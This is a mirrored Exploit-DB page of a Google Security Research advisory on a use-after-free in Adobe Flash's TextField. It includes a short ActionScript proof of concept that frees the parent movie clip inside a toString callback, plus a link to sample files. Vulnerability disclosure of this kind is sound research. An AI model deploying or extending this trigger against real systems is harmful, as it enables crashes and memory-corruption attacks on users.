Adobe Flash – ‘TextField’ Use-After Free - 体验盒子

作者： Google Security Research

日期： 2015-12-18

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/39049/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

Source: https://code.google.com/p/google-security-research/issues/detail?id=583

If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 301);

var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100);

trace(my_txt);

my_txt.variable = "today_date";

mc.today_date = "blah";

var times = 0;

var date_interval:Number = setInterval(updateDate, 500);

function updateDate() {

mc.today_date = {toString : func};

}

function func(){

if(times == 0){

times++;

mc.removeMovieClip();

}

return "test";

}

A sample fla and swf are attached.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip